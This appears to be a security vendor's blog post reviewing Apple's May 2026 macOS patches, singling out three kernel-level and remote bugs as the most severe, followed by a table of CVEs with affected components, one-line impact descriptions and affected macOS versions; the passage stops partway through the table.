<content:encoded><![CDATA[<p class="">We’ve received some feedback from those who read the Patch Blog that they would like something similar for macOS updates. Unfortunately, Apple doesn’t schedule these for a particular day, but we can provide our thoughts and analysis on the days they do release their latest patches. </p><p class="">For May 2026, Apple released 82 unique CVEs across the three macOS versions: 79 for macOS Tahoe 26.5, 45 for macOS Sequoia 15.7.7, and 42 for macOS Sonoma 14.8.7. Since Apple doesn’t provide CVSS scores or other severity information, we’re left to speculate on which of these bugs is the most severe. However, there are a couple that stand out.</p><p class="">-              <strong>CVE-2026-28819 (Wi-Fi)</strong> stands out as the strongest candidate for the most severe as it states, “An app may be able to execute arbitrary code with kernel privileges.” The combination of arbitrary code execution at the kernel level is about as bad as it gets on a severity scale. Plus, it affects all three macOS versions (Tahoe, Sequoia, and Sonoma).</p><p class="">-              <strong>CVE-2026-43668 (mDNSResponder)</strong> also piques my interest since, “A remote attacker may be able to cause unexpected system termination or corrupt kernel memory.” The remote attack vector with kernel memory corruption on all three OS versions makes this a serious one, especially since mDNSResponder is always running.</p><p class="">-              <strong>CVE-2026-28972 (Kernel)</strong> This one states that “An app may be able to cause unexpected system termination or write kernel memory.” An out-of-bounds write directly into kernel memory on all three OS versions. This one may also have implications in the upcoming Pwn2Own Berlin contest.</p><p class="">Here’s a look at all the bugs released by Apple this month:</p>





















  
  




  


  
    


  82Unique CVEs
  <a href="https://support.apple.com/en-us/127115" target="_blank">79macOS Tahoe 26.5</a>
  <a href="https://support.apple.com/en-us/127116" target="_blank">45macOS Sequoia 15.7.7</a>
  <a href="https://support.apple.com/en-us/127117" target="_blank">42macOS Sonoma 14.8.7</a>



<table>
<colgroup>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
</colgroup>
<thead>
  <tr>
    <th>CVE ID</th>
    <th>Component</th>
    <th>Impact</th>
    <th>macOS Tahoe 26.5</th>
    <th>macOS Sequoia 15.7.7</th>
    <th>macOS Sonoma 14.8.7</th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28991" target="_blank">CVE-2026-28991</a></td>
    <td>Accelerate</td>
    <td>An app may be able to cause a denial-of-service</td>
    <td>Yes</td>
    <td>No</td>
    <td>No</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28988" target="_blank">CVE-2026-28988</a></td>
    <td>Accounts</td>
    <td>An app may be able to bypass certain Privacy preferences</td>
    <td>Yes</td>
    <td>No</td>
    <td>No</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28959" target="_blank">CVE-2026-28959</a></td>
    <td>APFS</td>
    <td>An app may be able to cause unexpected system termination</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28995" target="_blank">CVE-2026-28995</a></td>
    <td>App Intents</td>
    <td>A malicious app may be able to break out of its sandbox</td>
    <td>Yes</td>
    <td>No</td>
    <td>No</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-1837" target="_blank">CVE-2026-1837</a></td>
    <td>AppleJPEG</td>
    <td>Processing a maliciously crafted image may lead to a denial-of-service</td>
    <td>Yes</td>
    <td>No</td>
    <td>No</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28956" target="_blank">CVE-2026-28956</a></td>
    <td>AppleJPEG</td>
    <td>Processing a maliciously crafted media file may lead to unexpected app termination or corrupt process memory</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-39869" target="_blank">CVE-2026-39869</a></td>
    <td>Audio</td>
    <td>Processing an audio stream in a maliciously crafted media file may terminate the process</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28922" target="_blank">CVE-2026-28922</a></td>
    <td>CoreMedia</td>
    <td>An app may be able to access private information</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28936" target="_blank">CVE-2026-28936</a></td>
    <td>CoreServices</td>
    <td>Processing a maliciously crafted file may lead to unexpected app termination</td>
    <td>Yes</td>
    <td>No</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><img title="Reported through Zero Day Initiative" src="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAyMTAgMTY3Ij4KICA8IS0tIEhvcm5zIC0tPgogIDxwYXRoIGQ9Ik04NSA0IFE3NCA2IDcyIDE4IEw4MCAyMCBRNzkgMTIgODcgOFoiIGZpbGw9IiMxQjJBNEEiLz4KICA8cGF0aCBkPSJNMTI1IDQgUTEzNiA2IDEzOCAxOCBMMTMwIDIwIFExMzEgMTIgMTIzIDhaIiBmaWxsPSIjMUIyQTRBIi8+CiAgPCEtLSBIZWFkIC0tPgogIDxlbGxpcHNlIGN4PSIxMDUiIGN5PSIyMiIgcng9IjE4IiByeT0iMTIiIGZpbGw9IiMxQjJBNEEiLz4KICA8IS0tIExlZnQgdXBwZXIgYXJtIC0tPgogIDxwYXRoIGQ9Ik03MiAzMCBMNTggNDQgTDYzIDQ4IEw3OCAzNVoiIGZpbGw9IiMxQjJBNEEiLz4KICA8IS0tIFJpZ2h0IHVwcGVyIGFybSAtLT4KICA8cGF0aCBkPSJNMTM4IDMwIEwxNTIgNDQgTDE0NyA0OCBMMTMyIDM1WiIgZmlsbD0iIzFCMkE0QSIvPgogIDwhLS0gWWVsbG93IGJvd3RpZSBsZWZ0IC0tPgogIDxwYXRoIGQ9Ik03NiAzOCBROTAgMzIgMTA1IDM4IFE5MCA0NCA3NiAzOFoiIGZpbGw9IiNGNUI4MDAiLz4KICA8IS0tIFllbGxvdyBib3d0aWUgcmlnaHQgLS0+CiAgPHBhdGggZD0iTTEzNCAzOCBRMTIwIDMyIDEwNSAzOCBRMTIwIDQ0IDEzNCAzOFoiIGZpbGw9IiNGNUI4MDAiLz4KICA8IS0tIEJsdWUgY2hlc3QgLS0+CiAgPGVsbGlwc2UgY3g9IjEwNSIgY3k9IjQ2IiByeD0iMTQiIHJ5PSIxMCIgZmlsbD0iIzNEQjdFNCIvPgogIDwhLS0gQmx1ZSBsZWZ0IHdpbmcgLS0+CiAgPHBhdGggZD0iTTkxIDU0IFE2MCA1OCAxOCA3NSBRMTAgNjggMTQgNjIgUTUwIDUyIDkxIDU0WiIgZmlsbD0iIzNEQjdFNCIvPgogIDwhLS0gQmx1ZSByaWdodCB3aW5nIC0tPgogIDxwYXRoIGQ9Ik0xMTkgNTQgUTE1MCA1OCAxOTIgNzUgUTIwMCA2OCAxOTYgNjIgUTE2MCA1MiAxMTkgNTRaIiBmaWxsPSIjM0RCN0U0Ii8+CiAgPCEtLSBHb2xkIGxlZnQgd2luZ3RpcCAtLT4KICA8cGF0aCBkPSJNMTQgNjIgUTQgNjIgMTAgNTQgUTE2IDU4IDE4IDc1WiIgZmlsbD0iI0Y1QjgwMCIvPgogIDwhLS0gR29sZCByaWdodCB3aW5ndGlwIC0tPgogIDxwYXRoIGQ9Ik0xOTYgNjIgUTIwNiA2MiAyMDAgNTQgUTE5NCA1OCAxOTIgNzVaIiBmaWxsPSIjRjVCODAwIi8+CiAgPCEtLSBMb3dlciBib2R5IGxlZnQgc3RydXQgLS0+CiAgPHBhdGggZD0iTTkwIDYyIEw3NiA4NiBMODQgOTAgTDk3IDY2WiIgZmlsbD0iIzFCMkE0QSIvPgogIDwhLS0gTG93ZXIgYm9keSByaWdodCBzdHJ1dCAtLT4KICA8cGF0aCBkPSJNMTIwIDYyIEwxMzQgODYgTDEyNiA5MCBMMTEzIDY2WiIgZmlsbD0iIzFCMkE0QSIvPgogIDwhLS0gQmx1ZSB0ZWFyZHJvcCBhYmRvbWVuIC0tPgogIDxwYXRoIGQ9Ik0xMDUgNjggUTExOCA4MiAxMDUgMTA4IFE5MiA4MiAxMDUgNjhaIiBmaWxsPSIjM0RCN0U0Ii8+CiAgPCEtLSBMZWZ0IGxvd2VyIGxlZyAtLT4KICA8cGF0aCBkPSJNODAgMTAwIEw2MCAxMTIgTDYyIDExOCBMODQgMTA2WiIgZmlsbD0iIzFCMkE0QSIvPgogIDwhLS0gUmlnaHQgbG93ZXIgbGVnIC0tPgogIDxwYXRoIGQ9Ik0xMzAgMTAwIEwxNTAgMTEyIEwxNDggMTE4IEwxMjYgMTA2WiIgZmlsbD0iIzFCMkE0QSIvPgo8L3N2Zz4="><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28918" target="_blank">CVE-2026-28918</a></td>
    <td>CoreSymbolication</td>
    <td>Parsing a maliciously crafted file may lead to an unexpected app termination</td>
    <td>Yes</td>
    <td>No</td>
    <td>No</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28878" target="_blank">CVE-2026-28878</a></td>
    <td>Crash Reporter</td>
    <td>An app may be able to enumerate a user's installed apps</td>
    <td>No</td>
    <td>Yes</td>
    <td>No</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28915" target="_blank">CVE-2026-28915</a></td>
    <td>CUPS</td>
    <td>An app may be able to gain root privileges</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43659" target="_blank">CVE-2026-43659</a></td>
    <td>FileProvider</td>
    <td>An app may be able to access sensitive user data</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28923" target="_blank">CVE-2026-28923</a></td>
    <td>GPU Drivers</td>
    <td>A malicious app may be able to break out of its sandbox</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28925" target="_blank">CVE-2026-28925</a></td>
    <td>HFS</td>
    <td>An app may be able to cause unexpected system termination or write kernel memory</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2025-43524" target="_blank">CVE-2025-43524</a></td>
    <td>Icons</td>
    <td>An app may be able to break out of its sandbox</td>
    <td>No</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43661" target="_blank">CVE-2026-43661</a></td>
    <td>ImageIO</td>
    <td>Processing a maliciously crafted image may corrupt process memory</td>
    <td>Yes</td>
    <td>No</td>
    <td>No</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28977" target="_blank">CVE-2026-28977</a></td>
    <td>ImageIO</td>
    <td>Processing a maliciously crafted file may lead to unexpected app termination</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28990" target="_blank">CVE-2026-28990</a></td>
    <td>ImageIO</td>
    <td>Processing a maliciously crafted image may corrupt process memory</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28978" target="_blank">CVE-2026-28978</a></td>
    <td>Installer</td>
    <td>A malicious app may be able to break out of its sandbox</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28992" target="_blank">CVE-2026-28992</a></td>
    <td>IOHIDFamily</td>
    <td>An attacker may be able to cause unexpected app termination</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28943" target="_blank">CVE-2026-28943</a></td>
    <td>IOHIDFamily</td>
    <td>An app may be able to determine kernel memory layout</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28969" target="_blank">CVE-2026-28969</a></td>
    <td>IOKit</td>
    <td>An app may be able to cause unexpected system termination</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43655" target="_blank">CVE-2026-43655</a></td>
    <td>IOSurfaceAccelerator</td>
    <td>An app may be able to cause unexpected system termination or read kernel memory</td>
    <td>Yes</td>
    <td>No</td>
    <td>No</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43654" target="_blank">CVE-2026-43654</a></td>
    <td>Kernel</td>
    <td>An app may be able to disclose kernel memory</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28908" target="_blank">CVE-2026-28908</a></td>
    <td>Kernel</td>
    <td>An app may be able to modify protected parts of the file system</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28954" target="_blank">CVE-2026-28954</a></td>
    <td>Kernel</td>
    <td>A maliciously crafted disk image may bypass Gatekeeper checks</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28897" target="_blank">CVE-2026-28897</a></td>
    <td>Kernel</td>
    <td>A local user may be able to cause unexpected system termination or read kernel memory</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28952" target="_blank">CVE-2026-28952</a></td>
    <td>Kernel</td>
    <td>An app may be able to cause unexpected system termination</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28951" target="_blank">CVE-2026-28951</a></td>
    <td>Kernel</td>
    <td>An app may be able to gain root privileges</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28972" target="_blank">CVE-2026-28972</a></td>
    <td>Kernel</td>
    <td>An app may be able to cause unexpected system termination or write kernel memory</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28986" target="_blank">CVE-2026-28986</a></td>
    <td>Kernel</td>
    <td>An app may be able to cause unexpected system termination</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28987" target="_blank">CVE-2026-28987</a></td>
    <td>Kernel</td>
    <td>An app may be able to leak sensitive kernel state</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28983" target="_blank">CVE-2026-28983</a></td>
    <td>LaunchServices</td>
    <td>A remote attacker may be able to cause a denial of service</td>
    <td>Yes</td>
    <td>No</td>
    <td>No</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28929" target="_blank">CVE-2026-28929</a></td>
    <td>Mail Drafts</td>
    <td>Replying to an email could display remote images in Mail in Lockdown Mode</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43653" target="_blank">CVE-2026-43653</a></td>
    <td>mDNSResponder</td>
    <td>An attacker on the local network may be able to cause a denial-of-service</td>
    <td>Yes</td>
    <td>No</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28985" target="_blank">CVE-2026-28985</a></td>
    <td>mDNSResponder</td>
    <td>An attacker on the local network may be able to cause a denial-of-service</td>
    <td>Yes</td>
    <td>No</td>
    <td>No</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43668" target="_blank">CVE-2026-43668</a></td>
    <td>mDNSResponder</td>
    <td>A remote attacker may be able to cause unexpected system termination or corrupt kernel memory</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43666" target="_blank">CVE-2026-43666</a></td>
    <td>mDNSResponder</td>
    <td>An attacker on the local network may be able to cause a denial-of-service</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><img title="Reported through Zero Day Initiative" src="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAyMTAgMTY3Ij4KICA8IS0tIEhvcm5zIC0tPgogIDxwYXRoIGQ9Ik04NSA0IFE3NCA2IDcyIDE4IEw4MCAyMCBRNzkgMTIgODcgOFoiIGZpbGw9IiMxQjJBNEEiLz4KICA8cGF0aCBkPSJNMTI1IDQgUTEzNiA2IDEzOCAxOCBMMTMwIDIwIFExMzEgMTIgMTIzIDhaIiBmaWxsPSIjMUIyQTRBIi8+CiAgPCEtLSBIZWFkIC0tPgogIDxlbGxpcHNlIGN4PSIxMDUiIGN5PSIyMiIgcng9IjE4IiByeT0iMTIiIGZpbGw9IiMxQjJBNEEiLz4KICA8IS0tIExlZnQgdXBwZXIgYXJtIC0tPgogIDxwYXRoIGQ9Ik03MiAzMCBMNTggNDQgTDYzIDQ4IEw3OCAzNVoiIGZpbGw9IiMxQjJBNEEiLz4KICA8IS0tIFJpZ2h0IHVwcGVyIGFybSAtLT4KICA8cGF0aCBkPSJNMTM4IDMwIEwxNTIgNDQgTDE0NyA0OCBMMTMyIDM1WiIgZmlsbD0iIzFCMkE0QSIvPgogIDwhLS0gWWVsbG93IGJvd3RpZSBsZWZ0IC0tPgogIDxwYXRoIGQ9Ik03NiAzOCBROTAgMzIgMTA1IDM4IFE5MCA0NCA3NiAzOFoiIGZpbGw9IiNGNUI4MDAiLz4KICA8IS0tIFllbGxvdyBib3d0aWUgcmlnaHQgLS0+CiAgPHBhdGggZD0iTTEzNCAzOCBRMTIwIDMyIDEwNSAzOCBRMTIwIDQ0IDEzNCAzOFoiIGZpbGw9IiNGNUI4MDAiLz4KICA8IS0tIEJsdWUgY2hlc3QgLS0+CiAgPGVsbGlwc2UgY3g9IjEwNSIgY3k9IjQ2IiByeD0iMTQiIHJ5PSIxMCIgZmlsbD0iIzNEQjdFNCIvPgogIDwhLS0gQmx1ZSBsZWZ0IHdpbmcgLS0+CiAgPHBhdGggZD0iTTkxIDU0IFE2MCA1OCAxOCA3NSBRMTAgNjggMTQgNjIgUTUwIDUyIDkxIDU0WiIgZmlsbD0iIzNEQjdFNCIvPgogIDwhLS0gQmx1ZSByaWdodCB3aW5nIC0tPgogIDxwYXRoIGQ9Ik0xMTkgNTQgUTE1MCA1OCAxOTIgNzUgUTIwMCA2OCAxOTYgNjIgUTE2MCA1MiAxMTkgNTRaIiBmaWxsPSIjM0RCN0U0Ii8+CiAgPCEtLSBHb2xkIGxlZnQgd2luZ3RpcCAtLT4KICA8cGF0aCBkPSJNMTQgNjIgUTQgNjIgMTAgNTQgUTE2IDU4IDE4IDc1WiIgZmlsbD0iI0Y1QjgwMCIvPgogIDwhLS0gR29sZCByaWdodCB3aW5ndGlwIC0tPgogIDxwYXRoIGQ9Ik0xOTYgNjIgUTIwNiA2MiAyMDAgNTQgUTE5NCA1OCAxOTIgNzVaIiBmaWxsPSIjRjVCODAwIi8+CiAgPCEtLSBMb3dlciBib2R5IGxlZnQgc3RydXQgLS0+CiAgPHBhdGggZD0iTTkwIDYyIEw3NiA4NiBMODQgOTAgTDk3IDY2WiIgZmlsbD0iIzFCMkE0QSIvPgogIDwhLS0gTG93ZXIgYm9keSByaWdodCBzdHJ1dCAtLT4KICA8cGF0aCBkPSJNMTIwIDYyIEwxMzQgODYgTDEyNiA5MCBMMTEzIDY2WiIgZmlsbD0iIzFCMkE0QSIvPgogIDwhLS0gQmx1ZSB0ZWFyZHJvcCBhYmRvbWVuIC0tPgogIDxwYXRoIGQ9Ik0xMDUgNjggUTExOCA4MiAxMDUgMTA4IFE5MiA4MiAxMDUgNjhaIiBmaWxsPSIjM0RCN0U0Ii8+CiAgPCEtLSBMZWZ0IGxvd2VyIGxlZyAtLT4KICA8cGF0aCBkPSJNODAgMTAwIEw2MCAxMTIgTDYyIDExOCBMODQgMTA2WiIgZmlsbD0iIzFCMkE0QSIvPgogIDwhLS0gUmlnaHQgbG93ZXIgbGVnIC0tPgogIDxwYXRoIGQ9Ik0xMzAgMTAwIEwxNTAgMTEyIEwxNDggMTE4IEwxMjYgMTA2WiIgZmlsbD0iIzFCMkE0QSIvPgo8L3N2Zz4="><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28941" target="_blank">CVE-2026-28941</a></td>
    <td>Model I/O</td>
    <td>Processing a maliciously crafted file may lead to a denial-of-service or potentially disclose memory contents</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>No</td>
  </tr>
  <tr>
    <td><img title="Reported through Zero Day Initiative" src="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAyMTAgMTY3Ij4KICA8IS0tIEhvcm5zIC0tPgogIDxwYXRoIGQ9Ik04NSA0IFE3NCA2IDcyIDE4IEw4MCAyMCBRNzkgMTIgODcgOFoiIGZpbGw9IiMxQjJBNEEiLz4KICA8cGF0aCBkPSJNMTI1IDQgUTEzNiA2IDEzOCAxOCBMMTMwIDIwIFExMzEgMTIgMTIzIDhaIiBmaWxsPSIjMUIyQTRBIi8+CiAgPCEtLSBIZWFkIC0tPgogIDxlbGxpcHNlIGN4PSIxMDUiIGN5PSIyMiIgcng9IjE4IiByeT0iMTIiIGZpbGw9IiMxQjJBNEEiLz4KICA8IS0tIExlZnQgdXBwZXIgYXJtIC0tPgogIDxwYXRoIGQ9Ik03MiAzMCBMNTggNDQgTDYzIDQ4IEw3OCAzNVoiIGZpbGw9IiMxQjJBNEEiLz4KICA8IS0tIFJpZ2h0IHVwcGVyIGFybSAtLT4KICA8cGF0aCBkPSJNMTM4IDMwIEwxNTIgNDQgTDE0NyA0OCBMMTMyIDM1WiIgZmlsbD0iIzFCMkE0QSIvPgogIDwhLS0gWWVsbG93IGJvd3RpZSBsZWZ0IC0tPgogIDxwYXRoIGQ9Ik03NiAzOCBROTAgMzIgMTA1IDM4IFE5MCA0NCA3NiAzOFoiIGZpbGw9IiNGNUI4MDAiLz4KICA8IS0tIFllbGxvdyBib3d0aWUgcmlnaHQgLS0+CiAgPHBhdGggZD0iTTEzNCAzOCBRMTIwIDMyIDEwNSAzOCBRMTIwIDQ0IDEzNCAzOFoiIGZpbGw9IiNGNUI4MDAiLz4KICA8IS0tIEJsdWUgY2hlc3QgLS0+CiAgPGVsbGlwc2UgY3g9IjEwNSIgY3k9IjQ2IiByeD0iMTQiIHJ5PSIxMCIgZmlsbD0iIzNEQjdFNCIvPgogIDwhLS0gQmx1ZSBsZWZ0IHdpbmcgLS0+CiAgPHBhdGggZD0iTTkxIDU0IFE2MCA1OCAxOCA3NSBRMTAgNjggMTQgNjIgUTUwIDUyIDkxIDU0WiIgZmlsbD0iIzNEQjdFNCIvPgogIDwhLS0gQmx1ZSByaWdodCB3aW5nIC0tPgogIDxwYXRoIGQ9Ik0xMTkgNTQgUTE1MCA1OCAxOTIgNzUgUTIwMCA2OCAxOTYgNjIgUTE2MCA1MiAxMTkgNTRaIiBmaWxsPSIjM0RCN0U0Ii8+CiAgPCEtLSBHb2xkIGxlZnQgd2luZ3RpcCAtLT4KICA8cGF0aCBkPSJNMTQgNjIgUTQgNjIgMTAgNTQgUTE2IDU4IDE4IDc1WiIgZmlsbD0iI0Y1QjgwMCIvPgogIDwhLS0gR29sZCByaWdodCB3aW5ndGlwIC0tPgogIDxwYXRoIGQ9Ik0xOTYgNjIgUTIwNiA2MiAyMDAgNTQgUTE5NCA1OCAxOTIgNzVaIiBmaWxsPSIjRjVCODAwIi8+CiAgPCEtLSBMb3dlciBib2R5IGxlZnQgc3RydXQgLS0+CiAgPHBhdGggZD0iTTkwIDYyIEw3NiA4NiBMODQgOTAgTDk3IDY2WiIgZmlsbD0iIzFCMkE0QSIvPgogIDwhLS0gTG93ZXIgYm9keSByaWdodCBzdHJ1dCAtLT4KICA8cGF0aCBkPSJNMTIwIDYyIEwxMzQgODYgTDEyNiA5MCBMMTEzIDY2WiIgZmlsbD0iIzFCMkE0QSIvPgogIDwhLS0gQmx1ZSB0ZWFyZHJvcCBhYmRvbWVuIC0tPgogIDxwYXRoIGQ9Ik0xMDUgNjggUTExOCA4MiAxMDUgMTA4IFE5MiA4MiAxMDUgNjhaIiBmaWxsPSIjM0RCN0U0Ii8+CiAgPCEtLSBMZWZ0IGxvd2VyIGxlZyAtLT4KICA8cGF0aCBkPSJNODAgMTAwIEw2MCAxMTIgTDYyIDExOCBMODQgMTA2WiIgZmlsbD0iIzFCMkE0QSIvPgogIDwhLS0gUmlnaHQgbG93ZXIgbGVnIC0tPgogIDxwYXRoIGQ9Ik0xMzAgMTAwIEwxNTAgMTEyIEwxNDggMTE4IEwxMjYgMTA2WiIgZmlsbD0iIzFCMkE0QSIvPgo8L3N2Zz4="><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28940" target="_blank">CVE-2026-28940</a></td>
    <td>Model I/O</td>
    <td>Processing a maliciously crafted image may corrupt process memory</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>No</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28961" target="_blank">CVE-2026-28961</a></td>
    <td>Network Extensions</td>
    <td>An attacker with physical access to a locked device may be able to view sensitive user information</td>
    <td>Yes</td>
    <td>No</td>
    <td>No</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28906" target="_blank">CVE-2026-28906</a></td>
    <td>Networking</td>
    <td>An attacker may be able to track users through their IP address</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28840" target="_blank">CVE-2026-28840</a></td>
    <td>PackageKit</td>
    <td>An app may be able to gain root privileges</td>
    <td>No</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43656" target="_blank">CVE-2026-43656</a></td>
    <td>Quick Look</td>
    <td>Parsing a maliciously crafted file may lead to an unexpected app termination</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43652" target="_blank">CVE-2026-43652</a></td>
    <td>Sandbox</td>
    <td>An app may be able to access protected user data</td>
    <td>Yes</td>
    <td>No</td>
    <td>No</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-39870" target="_blank">CVE-2026-39870</a></td>
    <td>SceneKit</td>
    <td>Processing a maliciously crafted image may corrupt process memory</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28846" target="_blank">CVE-2026-28846</a></td>
    <td>SceneKit</td>
    <td>A remote attacker may be able to cause unexpected app termination</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28993" target="_blank">CVE-2026-28993</a></td>
    <td>Shortcuts</td>
    <td>An app may be able to access user-sensitive data</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28848" target="_blank">CVE-2026-28848</a></td>
    <td>SMB</td>
    <td>A remote attacker may be able to cause unexpected system termination</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>No</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28930" target="_blank">CVE-2026-28930</a></td>
    <td>Spotlight</td>
    <td>An app may be able to access protected user data</td>
    <td>Yes</td>
    <td>No</td>
    <td>No</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28974" target="_blank">CVE-2026-28974</a></td>
    <td>Spotlight</td>
    <td>An app may be able to cause a denial-of-service</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>No</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28996" target="_blank">CVE-2026-28996</a></td>
    <td>Storage</td>
    <td>An app may be able to access sensitive user data</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28919" target="_blank">CVE-2026-28919</a></td>
